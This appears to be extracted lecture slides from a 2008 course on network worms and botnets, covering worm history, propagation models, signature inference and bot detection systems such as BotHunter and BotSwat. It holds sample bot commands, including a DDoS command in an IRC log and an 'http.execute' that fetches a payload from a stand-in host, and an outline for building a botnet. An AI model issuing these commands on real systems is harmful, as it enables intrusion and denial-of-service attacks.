Spring 2008 CS 155 Network Worms and Bots
Spring 2008 CS 155 Network Worms and Bots John Mitchell
Outline Worms n n Worm examples and propagation methods Detection methods w Traffic patterns: Early. Bird w Vulnerabilities: Generic Exploit Blocking n Disabling worms w Generate signatures for network or host-based filters Bots n n n Structure and use of bots Recognizing bot propagation Recognizing bot operation w Network-based methods w Host-based methods 2
Worm A worm is self-replicating software designed to spread through the network n n Typically, exploit security flaws in widely used services Can cause enormous damage w Launch DDOS attacks, install bot networks w Access sensitive information w Cause confusion by corrupting the sensitive information Worm vs Virus vs Trojan horse n n n 3 A virus is code embedded in a file or program Viruses and Trojan horses rely on human intervention Worms are self-contained and may spread autonomously
Cost of worm attacks Morris worm, 1988 n Infected approximately 6, 000 machines w 10% of computers connected to the Internet n cost ~ $10 million in downtime and cleanup Code Red worm, July 16 2001 n n Direct descendant of Morris’ worm Infected more than 500, 000 servers w Programmed to go into infinite sleep mode July 28 n Caused ~ $2. 6 Billion in damages, Love Bug worm: $8. 75 billion 4 Statistics: Computer Economics Inc. , Carlsbad, California
Internet Worm (First major attack) Released November 1988 n n Program spread through Digital, Sun workstations Exploited Unix security vulnerabilities w VAX computers and SUN-3 workstations running versions 4. 2 and 4. 3 Berkeley UNIX code Consequences n n No immediate damage from program itself Replication and threat of damage w Load on network, systems used in attack w Many systems shut down to prevent further attack 5
Some historical worms of note 6 Worm Date Distinction Morris 11/88 Used multiple vulnerabilities, propagate to “nearby” sys ADM 5/98 Random scanning of IP address space Ramen 1/01 Exploited three vulnerabilities Lion 3/01 Stealthy, rootkit worm Cheese 6/01 Vigilante worm that secured vulnerable systems Code Red 7/01 First sig Windows worm; Completely memory resident Walk 8/01 Recompiled source code locally Nimda 9/01 Windows worm: client-to-server, c-to-c, s-to-s, … Scalper 6/02 11 days after announcement of vulnerability; peer-topeer network of compromised systems Slammer 1/03 Used a single UDP packet for explosive growth Kienzle and Elder
Increasing propagation speed Code Red, July 2001 n Affects Microsoft Index Server 2. 0, w Windows 2000 Indexing service on Windows NT 4. 0. w Windows 2000 that run IIS 4. 0 and 5. 0 Web servers n n Exploits known buffer overflow in Idq. dll Vulnerable population (360, 000 servers) infected in 14 hours SQL Slammer, January 2003 n n Affects in Microsoft SQL 2000 Exploits known buffer overflow vulnerability w Server Resolution service vulnerability reported June 2002 w Patched released in July 2002 Bulletin MS 02 -39 n 7 Vulnerable population infected in less than 10 minutes
Code Red Initial version released July 13, 2001 n n n Sends its code as an HTTP request exploits buffer overflow Malicious code is not stored in a file w Placed in memory and then run When executed, n Worm checks for the file C: Notworm w If file exists, the worm thread goes into infinite sleep state n Creates new threads w If the date is before the 20 th of the month, the next 99 threads attempt to exploit more computers by targeting random IP addresses 8
Code Red of July 13 and July 19 Initial release of July 13 n 1 st through 20 th month: Spread w via random scan of 32 -bit IP addr space n 20 th through end of each month: attack. w Flooding attack against 198. 137. 240. 91 (www. whitehouse. gov) n Failure to seed random number generator linear growth Revision released July 19, 2001. n n n 9 White House responds to threat of flooding attack by changing the address of www. whitehouse. gov Causes Code Red to die for date ≥ 20 th of the month. But: this time random number generator correctly seeded Slides: Vern Paxson
10 Slide: Vern Paxson
Measuring activity: network telescope Monitor cross-section of Internet address space, measure traffic “Backscatter” from DOS floods n Attackers probing blindly n Random scanning from worms LBNL’s cross-section: 1/32, 768 of Internet UCSD, UWisc’s cross-section: 1/256. n 11
Spread of Code Red Network telescopes estimate of # infected hosts: 360 K. (Beware DHCP & NAT) Course of infection fits classic logistic. Note: larger the vulnerable population, faster the worm spreads. That night ( 20 th), worm dies … … except for hosts with inaccurate clocks! It just takes one of these to restart the worm on August 1 st … 12 Slides: Vern Paxson
13 Slides: Vern Paxson
Code Red 2 Released August 4, 2001. Comment in code: “Code Red 2. ” n But in fact completely different code base. Payload: a root backdoor, resilient to reboots. Bug: crashes NT, only works on Windows 2000. Localized scanning: prefers nearby addresses. Kills Code Red 1. Safety valve: programmed to die Oct 1, 2001. 14 Slides: Vern Paxson
Striving for Greater Virulence: Nimda Released September 18, 2001. Multi-mode spreading: n n n attack IIS servers via infected clients email itself to address book as a virus copy itself across open network shares modifying Web pages on infected servers w/ client exploit scanning for Code Red II backdoors (!) worms form an ecosystem! Leaped across firewalls. 15 Slides: Vern Paxson
Code Red 2 kills off Code Red 1 CR 1 returns thanks to bad clocks 16 Nimda enters the ecosystem Code Red 2 settles into weekly pattern Code Red 2 dies off as programmed Slides: Vern Paxson
How do worms propagate? Scanning worms n Worm chooses “random” address Coordinated scanning n Different worm instances scan different addresses Flash worms n Assemble tree of vulnerable hosts in advance, propagate along tree w Not observed in the wild, yet w Potential for 106 hosts in < 2 sec ! [Staniford] Meta-server worm n Ask server for hosts to infect (e. g. , Google for “powered by phpbb”) Topological worm: n Use information from infected hosts (web server logs, email address books, config files, SSH “known hosts”) Contagion worm n 17 Propagate parasitically along with normally initiated communication
How fast are scanning worms? Model propagation as infectious epidemic n Simplest version: Homogeneous random contacts N: population size S(t): susceptible hosts at time t I(t): infected hosts at time t ß: contact rate i(t): I(t)/N, s(t): S(t)/N 18 courtesy Paxson, Staniford, Weaver
Shortcomings of simplified model Prediction is faster than observed propagation Possible reasons n n Model ignores infection time, network delays Ignores reduction in vulnerable hosts by patching Model supports unrealistic conclusions n 19 Example: When the Top-100 ISP’s deploy containment strategies, they still can not prevent a worm spreading at 100 probes/sec from affecting 18% of the internet, no matter what the reaction time of the system towards containment
Analytical Active Worm Propagation Model [Chen et al. , Infocom 2003] More detailed discrete time model n n Assume infection propagates in one time step Notation w w w N – number of vulnerable machines h – “hitlist: number of infected hosts at start s – scanning rate: # of machines scanned per infection d – death rate: infections detected and eliminated p – patching rate: vulnerable machines become invulnerable At time i, ni are infected and mi are vulnerable Discrete time difference equation n n 20 Guess random IP addr, so infection probability (mi-ni)/232 Number infected reduced by pni + dni
Effect of parameters on propagation 1. Hit. List Size 2. Patching Rate 3. Time to Complete Infection (Plots are for 1 M vulnerable machines, 100 scans/sec, death rate 0. 001/second 21 Other models: Wang et al, Modeling Timing Parameters … , WORM ’ 04 (includes delay) Ganesh et al, The Effect of Network Topology …, Infocom 2005 (topology)
Worm Detection and Defense Detect via honeyfarms: collections of “honeypots” fed by a network telescope. n Any outbound connection from honeyfarm = worm. (at least, that’s theory) n n Distill signature from inbound/outbound traffic. If telescope covers N addresses, expect detection when worm has infected 1/N of population. Thwart via scan suppressors: network elements that block traffic from hosts that make failed connection attempts to too many other hosts n n 22 5 minutes to several weeks to write a signature Several hours or more for testing
Need for automation months days hrs Program Viruses E-mail Worms Preautomation mins Network Worms Postautomation Flash Worms Contagion Period Signature Response Period secs 1990 23 Macro Viruses Time Signature Response Period Contagion Period Current threats can spread faster than defenses can reaction Manual capture/analyze/signature/rollout model too slow 2005 Slide: Carey Nachenberg, Symantec
Signature inference Challenge n need to automatically learn a content “signature” for each new worm – potentially in less than a second! Some proposed solutions n n 24 Singh et al, Automated Worm Fingerprinting, OSDI ’ 04 Kim et al, Autograph: Toward Automated, Distributed Worm Signature Detection, USENIX Sec ‘ 04
Signature inference Monitor network and look for strings common to traffic with worm-like behavior n 25 Signatures can then be used for content filtering Slide: S Savage
Content sifting Assume there exists some (relatively) unique invariant bitstring W across all instances of a particular worm (true today, not tomorrow. . . ) Two consequences n n Content Prevalence: W will be more common in traffic than other bitstrings of the same length Address Dispersion: the set of packets containing W will address a disproportionate number of distinct sources and destinations Content sifting: find W’s with high content prevalence and high address dispersion and drop that traffic 26 Slide: S Savage
Cumulative fraction of signatures Observation: High-prevalence strings are rare Only 0. 6% of the 40 byte substrings repeat more than 3 times in a minute Number of repeats 27 (Stefan Savage, UCSD *)
The basic algorithm Detector in network A B C cnn. com E Prevalence Table 28 (Stefan Savage, UCSD *) D Address Dispersion Table Sources Destinations
The basic algorithm Detector in network A B C cnn. com E D Prevalence Table 1 29 (Stefan Savage, UCSD *) Address Dispersion Table Sources Destinations 1 (A) 1 (B)
The basic algorithm Detector in network A B C cnn. com E D Prevalence Table 1 1 30 (Stefan Savage, UCSD *) Address Dispersion Table Sources Destinations 1 (A) 1 (C) 1 (B) 1 (A)
The basic algorithm Detector in network A B C cnn. com E D Prevalence Table 2 1 31 (Stefan Savage, UCSD *) Address Dispersion Table Sources Destinations 2 (A, B) 1 (C) 2 (B, D) 1 (A)
The basic algorithm Detector in network A B C cnn. com E D Prevalence Table 3 1 32 (Stefan Savage, UCSD *) Address Dispersion Table Sources Destinations 3 (A, B, D) 3 (B, D, E) 1 (C) 1 (A)
Challenges Computation n To support a 1 Gbps line rate we have 12 us to process each packet, at 10 Gbps 1. 2 us, at 40 Gbps… w Dominated by memory references; state expensive n Content sifting requires looking at every byte in a packet State n n On a fully-loaded 1 Gbps link a naïve implementation can easily consume 100 MB/sec for table Computation/memory duality: on high-speed (ASIC) implementation, latency requirements may limit state to on-chip SRAM 33 (Stefan Savage, UCSD *)
Which substrings to index? Approach 1: Index all substrings n Way too many substrings too much computation too much state Approach 2: Index whole packet n Very fast but trivially evadable (e. g. , Witty, Email Viruses) Approach 3: Index all contiguous substrings of a fixed length ‘S’ n Can capture all signatures of length ‘S’ and larger A B C D E F G H I J K 34 (Stefan Savage, UCSD *)
How to represent substrings? Store hash instead of literal to reduce state Incremental hash to reduce computation Rabin fingerprint is one such efficient incremental hash function [Rabin 81, Manber 94] n P 1 One multiplication, addition and mask per byte R A N D A B C D O M Fingerprint = 11000000 P 2 R A B C D A N D O M Fingerprint = 11000000 35 (Stefan Savage, UCSD *)
How to subsample? Approach 1: sample packets n If we chose 1 in N, detection will be slowed by N Approach 2: sample at particular byte offsets n n Susceptible to simple evasion attacks No guarantee that we will sample same sub-string in every packet Approach 3: sample based on the hash of the substring 36 (Stefan Savage, UCSD *)
Finding “heavy hitters” via Multistage Filters Hash 1 Increment Counters Stage 1 Field Extraction Hash 2 Comparator Stage 2 Hash 3 Comparator Stage 3 Comparator 37 (Stefan Savage, UCSD *) ALERT ! If all counters above threshold
Multistage filters in action Counters. . . Grey = other hahes Yellow = rare hash Threshold Stage 1 Green = common hash Stage 2 Stage 3 38 (Stefan Savage, UCSD *)
Observation: High address dispersion is rare too Naïve implementation might maintain a list of sources (or destinations) for each string hash But dispersion only matters if its over threshold n Approximate counting may suffice n Trades accuracy for state in data structure Scalable Bitmap Counters n Similar to multi-resolution bitmaps [Estan 03] n Reduce memory by 5 x for modest accuracy error 39 (Stefan Savage, UCSD *)
Scalable Bitmap Counters 1 Hash(Source) Hash : based on Source (or Destination) Sample : keep only a sample of the bitmap Estimate : scale up sampled count Adapt : periodically increase scaling factor Error Factor = 2/(2 num. Bitmaps-1) With 3, 32 -bit bitmaps, error factor = 28. 5% 40 (Stefan Savage, UCSD *) 1
Content sifting summary Index fixed-length substrings using incremental hashes Subsample hashes as function of hash value Multi-stage filters to filter out uncommon strings Scalable bitmaps to tell if number of distinct addresses per hash crosses threshold This is fast enough to implement 41 (Stefan Savage, UCSD *)
Experience Quite good. n n n Detected and automatically generated signatures for every known worm outbreak over eight months Can produce a precise signature for a new worm in a fraction of a second Software implementation keeps up with 200 Mbps Known worms detected: n Code Red, Nimda, Web. Dav, Slammer, Opaserv, … Unknown worms (with no public signatures) detected: n Ms. Blaster, Bagle, Sasser, Kibvu, … 42 (Stefan Savage, UCSD *)
False Positives Common protocol headers n n n Mainly HTTP and SMTP headers Distributed (P 2 P) system protocol headers Procedural whitelist w Small number of popular protocols Non-worm epidemic Activity n n SPAM Bit. Torrent 43 (Stefan Savage, UCSD *) GNUTELLA. CONNECT /0. 6. . X-Max-TTL: . 3. . X-Dynamic-Qu erying: . 0. 1. . X-V ersion: . 4. 0. 4. . X -Query-Routing: . 0. 1. . User-Agent: . Lime. Wire/4. 0. 6. . Vendor-Message: . 0. 1. . X-Ultrapee r-Query-Routing:
Generic Exploit Blocking Idea n n Write a network IPS signature to generically detect and block all future attacks on a vulnerability Different from writing a signature for a specific exploit! Step #1: Characterize the vulnerability “shape” n n n Identify fields, services or protocol states that must be present in attack traffic to exploit the vulnerability Identify data footprint size required to exploit the vulnerability Identify locality of data footprint; will it be localized or spread across the flow? Step #2: Write a generic signature that can detect data that “mates” with the vulnerability shape Similar to Shield research from Microsoft 44 Slide: Carey Nachenberg, Symantec
Generic Exploit Blocking Example #1 Consider MS 02 -039 Vulnerability (SQL Buffer Overflow): Field/service/protocol UDP port 1434 Packet type: 4 Minimum data footprint Packet size > 60 bytes Data Localization Limited to a single packet 45 BEGIN Pseudo-signature: DESCRIPTION: MS 02 -039 NAME: MS SQL Vuln if (packet. port()UDP == 1434 && TRANSIT-TYPE: TRIGGER: ANY->ANY: 1434 packet[0] == 4 && OFFSET: 0, PACKET packet. size() > 60) SIG-BEGIN { "x 04<getpacketsize(r 0)> report_exploit(MS 02 -039); <inrange(r 0, 61, 1000000)> }<reportid()>" SIG-END Slide: Carey Nachenberg, Symantec
Generic Exploit Blocking Example #2 Consider MS 03 -026 Vulnerability (RPC Buffer Overflow): Field/service/protocol RPC request on TCP/UDP 135 sz. Name field in Co. Get. Instance. From. File func. Minimum data footprint Arguments > 62 bytes Data Localization Limited to 256 bytes from start of RPC bind command 46 BEGIN DESCRIPTION: MS 03 -026 Sample signature: NAME: RPC Vulnerability TRANSIT-TYPE: TCP, UDP if (port ==ANY: ANY->ANY: 135 && TRIGGER: type == request && SIG-BEGIN func == Co. Get. Instance. From. File && "x 05x 00x 0 Bx 03x 10x 00 (about 50 more bytes. . . ) parameters. length() > 62) { x 00. *x 05x 00 <forward(5)><getbeword(r 0)> report_exploit(MS 03 -026); } <inrange(r 0, 63, 20000)> <reportid()>" SIG-END Slide: Carey Nachenberg, Symantec
Worm summary Worm attacks n n n Many ways for worms to propagate Propagation time is increasing Polymorphic worms, other barriers to detection Detect n n n Traffic patterns: Early. Bird Watch attack: Taint. Check and Sting Look at vulnerabilities: Generic Exploit Blocking Disable n 47 Generate worm signatures and use in network or host-based filters
Botnet Collection of compromised hosts n n Spread like worms and viruses Once installed, respond to remote commands Platform for many attacks n n Spam forwarding (70% of all spam? ) Click fraud Keystroke logging Distributed denial of service attacks Serious problem n 48 n Top concern of banks, online merchants Vint Cerf: ¼ of hosts connected to Internet
What are botnets used for? capability ago DSNX create port redirect √ other proxy √ download file from web √ DNS resolution √ UDP/ping floods √ other DDo. S floods √ scan/spread √ spam √ visit URL √ evil G-Sy. S sd Spy √ √ √ √ √ Capabilities are exercised via remote commands. 49 √
Building a Bot Network compromise attempt Win XP Free. BSD Attacker compromise attempt 50 Mac OS X Win XP
Building a Bot Network compromise attempt install bot software compromise attempt Win XP compromised Free. BSD Attacker compromise attempt install bot software 51 Mac OS X Win XP compromised
Step 2 Win XP . . /connect jade. va. us. dal. net /join #hacker. . . jade. va. dal. net 52
Step 3 (12: 59: 27 pm) -- A 9 -pcgbdv (A 9 -pcgbdv@140. 134. 36. 124) has joined (#owned) Users : 1646 (12: 59: 27 pm) (@Pha. TTy). ddos. synflood 216. 209. 82. 62 (12: 59: 27 pm) -- A 6 -bpxufrd (A 6 -bpxufrd@wp 9581. introweb. nl) has joined (#owned) Users : 1647 (12: 59: 27 pm) -- A 9 -nzmpah (A 9 -nzmpah@140. 122. 200. 221) has left IRC (Connection reset by peer) (12: 59: 28 pm) (@Pha. TTy). scan. enable DCOM (12: 59: 28 pm) -- A 9 -tzrkeasv (A 9 -tzrkeas@220. 89. 66. 93) has joined (#owned) Users : 1650 53
• • • 54 Spam service Rent-a-bot Cash-out Pump and dump Botnet rental 5 4
Underground commerce Market in access to bots n n Botherd: Collects and manages bots Access to proxies (“peas”) sold to spammers, often with commercial-looking web interface Sample rates n n n Non-exclusive access to botnet: 10¢ per machine Exclusive access: 25¢. Payment via compromised account (eg Pay. Pal) or cash to dropbox Identity Theft n n Keystroke logging Complete identities available for $25 - $200+ w Rates depend on financial situation of compromised person w Include all info from PC files, plus all websites of interest with passwords/account info used by PC owner w At $200+, usually includes full credit report 55 [Lloyd Taylor, Keynote Systems, SFBay Infra. Gard Board ]
Sobig. a In Action Arrives as an email attachment n n Written in C++ Encrypted with Telock to slow analysis User opens attachment, launching trojan n n Downloads file from a free Geocities account Contains list of URLs pointing to second stage Fetches second-stage trojan n n 56 Arbitrary executable file – could be anything For Sobig. a, second-stage trojan is Lala
Stage 2 – Lala Communication n n Lala notifies a cgi script on a compromised host Different versions of Lala have different sites and cgi scripts, perhaps indicating tracking by author Installation n n Lala installs a keylogger and password-protected Lithium remote access trojan. Lala downloads Stage 3 trojan w Wingate proxy (commercial software) Cleanup n 57 Lala removes the Sobig. a trojan
Stage 3 – Wingate is a general-purpose port proxy server n n 555/TCP – RTSP Service 1180/TCP – SOCKS 1182/TCP – WWW Proxy 1184/TCP – POP 3 Proxy 608/TCP – Remote Control 1181/TCP – Telnet Proxy 1183/TCP – FTP Proxy 1185/TCP – SMTP Server Final state of compromised machine n Complete remote control by Lithium client with password “adm 123” Complete logging of user’s keystrokes n Usable for spam relay, http redirects n Wingate Gatekeeper client can connect to 608/TCP, can log/change everything n 58
Build Your Own Botnet Pick a vector mechanism n n n IRC Channels: DCC Filesends, Website Adverts to Exploit Sites Scan & Sploit: MSBlast Trojan: So. Big/Bug. Bear/Active. X Exploits Choose a Payload n Backdoors w Agobot, Sub. Seven, Deep. Throat w Most include mechanisms for DDo. S, Self-spreading, download/exec arbitrary code, password stealers. Do it n n n Compromise an IRC server, or use your own zombied machines Configure Payload to connect to selected server Load encryption keys and codes Release through appropriate compromised systems Sit back and wait, or start on your next Botnet [Lloyd Taylor, Keynote Systems, SFBay Infra. Gard Board ] 59
Bot detection methods Signature-based (most AV products) Rule-based n n Monitor outbound network connections (e. g. Zone. Alarm, BINDER) Block certain ports (25, 6667, . . . ) Hybrid: content-based filtering n n Match network packet contents to known command strings (keywords) E. g. Gaobot ddos cmds: . ddos. httpflood Network traffic monitoring n Wenke Lee, Phil Porras: Bot Hunter, … w Correlate various NIDS alarms to identify “bot infection sequence” n n GA Tech: Recognize traffic patterns associated with ddns-based rallying Stuart Staniford, Fire. Eye w Detect port scanning to identify suspicious traffic w Emulate host with taint tracking to identify exploit 60
Introduction Approaches to Privacy-Preserving Correlation A Cyber-TA Distributed Correlation Example – bot. Hunter What is bot. Hunter? A Real Case Study Behavior-based Correlation Architectural Overview Bot. Hunter: passive What is bot. Hunter? bot. Hunter Sensors Correlation Framework Example bot. Hunter Output Cyber-TA Integration bot detection Snort-based sensor suite for malware event detection n n inbound scan detection remote to local exploit detection anomaly detection system for exploits over key TCP protocols Botnet specific egg download banners, Victim-to-C&C-based communications exchanges w particularly for IRC bot protocols Event correlator n n 61 combines information from sensors to recognize bots that infect and coordinate with your internal network assets Submits “bot-detection profiles” to the Cyber-TA repository infrastructure
Infection lifecycle A Behavioral-based Approach V-2 -A A-2 -V E 1: Inbound Scan A-2 -V E 2: Inbound Infection E 3: Egg Download * 2 V- pe II Ty V-2 -C E 5: Outbound Scan Type V-2 - I * • Search for duplex communication sequences that are indicative of infection-coordination-infection lifecycle 62 E 4: C&C Comms
Introduction Approaches to Privacy-Preserving Correlation A Cyber-TA Distributed Correlation Example – bot. Hunter What is bot. Hunter? A Real Case Study Behavior-based Correlation Architectural Overview Bot. Phatbot infection case study: lifecycle Phatbot bot. Hunter Sensors Correlation Framework Example bot. Hunter Output Cyber-TA Integration A: Attack, V: Victim, C: C&C Server E 1: A. * V. {2745, 135, 1025, 445, 3127, 6129, 139, 5000} (Bagle, DCOM 2, DCOM, NETBIOS, DOOM, DW, NETBIOS, UPNP…TCP connections w/out content transfers) E 2: A. * V. 135 (Windows DCE RCP exploit in payload) E 3: V. * A. 31373 (transfer a relatively large file via random A port specified by exploit) E 4: V. * C. 6668 (connect to an IRC server) E 5: V. * V‘. {2745, 135, 1025, 445, 3127, 6129, 139, 5000} (V begins search for new infection targets, listens on 11759 for future egg downloads) captured in a controlled VMWare environment 63
What is bot. Hunter? A Real Case Study Behavior-based Correlation Architectural Overview bot. Hunter Sensors Correlation Framework Example bot. Hunter Output Cyber-TA Integration Bot. Hunter System Architecture Botnets: Architecture Overview Snort 2. 6. 0 bothunter. config spp_scade. c|h SLADE Span Port to Ethernet Device e 1: Inbound Malware Scans spp_scade. c|h SCADE Signature Engine e 2: Payload Anomalies bot. Hunter Ruleset e 5: Outbound Scans e 2: Exploits e 3: Egg Downloads e 4: C&C Traffic C T A P A S R N S O E R R T bothunter. XML CTA Anonymizer Plugin bot. Hunter Correlator Java 1. 4. 2 bot Infection Profile: • Confidence Score • Victim IP • Attacker IP List (by confidence) • Coordination Center IP (by confidence) • Full Evidence Trail: Sigs, Scores, Ports • Infection Time Range 64 Snort +2. 6. 0, OS: Linux, Mac. OS, Win, Free. BSD, Solaris, Java +1. 4. 2
What is bot. Hunter? A Real Case Study Behavior-based Correlation Architectural Overview bot. Hunter Signature Set bot. Hunter Sensors Correlation Framework Example bot. Hunter Output Cyber-TA Integration Replace standard snort rules n Five custom rulesets: e[1 -5]. rules Scope n known worm/bot exploit general traffic signatures, shell/code/script exploits, update/download/registered rules, C&C command exchanges, outbound scans, malware exploits Rule sources n n n Bleeding Edge malware rulesets Snort Community Rules, Snort Registered Free Set Cyber-TA Custom bot-specific rules Current Set: 237 rules, operating on SRI/CSL and GATech networks, relative low false positive rate 65
What is bot. Hunter? A Real Case Study Behavior-based Correlation Architectural Overview bot. Hunter Sensors Correlation Framework Example bot. Hunter Output Cyber-TA Integration Detection bot. Hunter - Correlation Framework Bot-State Correlation Data Structure Victim. IP E 1 E 2 E 3 E 4 E 5 Score Characteristics of Bot Declarations • states are triggered in any order, but pruning timer reinitializes row state once an Init. Time Trigger is activated • external stimulus alone cannot trigger bot alert • 2 x internal bot behavior triggers bot alert Rows: Valid Internal Home_Net IP Colums: Bot infection stages Entry: IP addresses that contributed alerts to E-Column Score Column: Cumulative score for per Row Threshold – (row_score > threshold) declare bot Init. Time Triggers – An event that initiate pruning timer Pruning Timer – Seconds remaining until a row is reinitialized 66 • When bot alert is declared, IP addresses are assigned responsibility based on raw contribution Defaults: E 1 – Inbound scan detected E 2 – Inbound exploit detected E 3 – Egg download detected E 4 – C&C channel detected E 5 – Outbound scan detected Threshold = 1. 0 Pruning Interval = 120 seconds weight =. 25 weight =. 50
Botnets network traffic patterns Unique characteristic: “rallying” n n n Bots spread like worms and trojans Payloads may be common backdoors Centralized control of botnet is characteristic feature Georgia Tech idea: DNS n n n Bots installed at network edge IP addresses may vary, use Dynamic DNS Bots talk to controller, make DDNS lookup w Pattern of DDNS lookup is easy to spot for common botnets! David Dagon, Sanjeev Dwivedi, Robert Edmonds, Julian Grizzard, Wenke Lee, Richard Lipton, Merrick Furst; Cliff Zou (U Mass) 67
68 68
69 69
Bot. Swat Host-based bot detection Based on idea of remote control commands 70
What does remote control look like? http. execute <URL> <local_path> Invoke system calls: n connect, network send and recv, create file, write file, … On arguments received over the network: n IP to connect to, object to request, file name, … Botswat premise n n 71 We can distinguish the behavior of bots from that of innocuous processes via detecting “remote control” We can approximate “remote control” as “using data received over the network in a system call argument”
http. execute www. badguy. com/malware. exe C: WINbad. exe agobot 1 3 4 connect(…, www. badguy. com, …) 5 send( …, “…GET /malware. exe…”, …) 7 fcreate(…, “C: WINmalware. exe”, …) 8 2 Windows XP 72 NIC 6
S O U R C E S ? S I N K S 73 bind(…) ? Bot. Swat Create. Process. A(…) ? Nt. Create. File(…) ? . . .
Bot. Swat architecture: overview Interposition mechanism (detours) n Interposes on API calls Tainting module n Instantiates and propagates taint User-input module n Tracks local user input as received via KB or mouse (“clean” data); propagates cleanliness Behavior checking n n n Monitors invocations of selected system calls Queries tainting and user-input modules Determines whether to flag invocation ~70 k lines C++ and ~2200 intercepted fxns 74
Library-call level tainting Intercept calls made by process via a DLL to memory -copying functions n If C library functions statically linked in (STAT), we won’t see runtime calls to these functions Handling visibility limitations n n Taint a mem region on basis of its contents Keep track of data received over the network Taint propagation modes: n n 75 Cause-and-Effect (C&E) – conservative Correlative (CORR) – liberal
User input tracking Goal: Identify actions initiated by local app user Challenge: data value associated with mouse input heavily application-defined; not exposed via API call or similar Solution: consider all data values referred to by app while it is handling mouse input event clean (an over-approximation) Figure out when app handling input event 76
System creates message M Main. Wnd. Proc(…, UINT u. Msg, …){ switch (u. Msg) { case WM_LBUTTONDOWN: . . . }. . . App executes code to handle event Dispatch. Message(. . . ) 77 Target Window: W Input Type: LMB click Location: <x, y> System posts M to thread’s queue M 1 App reads M from queue Get. Message(. . . ) M 2 M 3
Behaviors and gates tainted open file tainted create file tainted prog exec Nt. Open. File Nt. Create. File . . . Create. File{A, W}, Open. File, Copy. File{Ex}{A, W}, fopen, _lopen, _lcreat, . . . bind tainted IP bind tainted port. . . tainted send derived sendto tainted IP sendto tainted port Move. File{Ex}{A, W} Win 32 Delete. File Move. File. With. Progress{Ex}{A, W} Delete. File{A, W} Replace. File{A, W} Nt. Device. Io. Control. File … bind, sendto, WSASend. To, SSL_write, … Selection of behaviors/gates/sinks: informed by bot capabilities 78
Evaluation of Bot. Swat Bots: ago, DSNX, evil, G-Sy. S, sd, Spy n Two test scenarios w C library functions dynamically or statically linked n Many bot variants w Apply xforms (compr, encr) to bot binary w Minor source edits (C&C params, config data) w Variants from ago, sd, & Spy families: n 98. 2% of all bots seen in wild (’ 05) Eight benign programs n n 79 web browser; clients: email, ftp, ssh, chat, AV signature updater; IRC server Chosen as likely to exhibit behavior similar to bots
Results – overview Detected execution of most candidate cmds Detected vast majority of bots’ remote control behavior – even when couldn’t see bots’ calls to memory-copying functions n n n # behaviors exhibited: # behavs detected (DYN, C&E): # behavs detected (STAT, CORR): Tested 8 benign progs; not many FPs n 80 Under CORR: 8 behaviors; 5 different 207 196 148
Detected commands capability ago port redirect √ other proxy √ web download √ DNS resolution √ UDP/ping floods √ oth DDo. S floods √ scan/spread √ spam √ visit URL √ 81 DSNX evil G-Sy. S sd Spy √ √ √ √ √ √
capability kill process open/exec file keylogging create dir delete file/dir list dir move file/dir DCC send file act as http svr change C&C svr create clone attacks 82 create spy ago DSNX evil G-Sy. S sd √ √ √ √ √ Spy √ √ √ √ √
+ + + killprocess <proc_name> delete <file_name> + rename <old_filename> <new_filename> + + makedir <dirname> redirect <loc_port> <dst_host> <dst_port> list <path/dir> + + get <local_filename> (DCC) + syn <host/IP> <port> <delay> <time> + + + – – + download <URL> <local_path> httpserver <port> <root_dir> connect IP connect port tainted sendto IP sendto port create proc + kill proc bind port file create execute <program> file open Spybot (DYN, C&E) + + spfdsyn <host/IP> <port> <delay> <time> server <host/IP> 83 scan <start_IP> <port> <delay> <out_file> + + +
Botswat – summary Proof of concept n n Single behavior – remote control – detects most malicious bot actions Resilient to differences that distinguish variants (and even families) w Works against bots not used in design of method n n Independent of command control protocol, botnet structure Low false positive rate; can handle with whitelist or other methods Significant limitations n Interposition at library call level w Some bots in wild may allow only low-level system call tracking n Need to decide when to raise an alarm w Correlate low-level system events to identify high-level bot commands w Experiment with alarm thresholds n Develop malware analysis tool to produce characterization of bot actions w Instruction-level tainting for developing malspecs, evaluating detection results n 84 Efficient run-time monitor of selected applications in production environment w Which processes should be monitored? w How to collect, aggregate, process, and report information efficiently?
- Slides: 84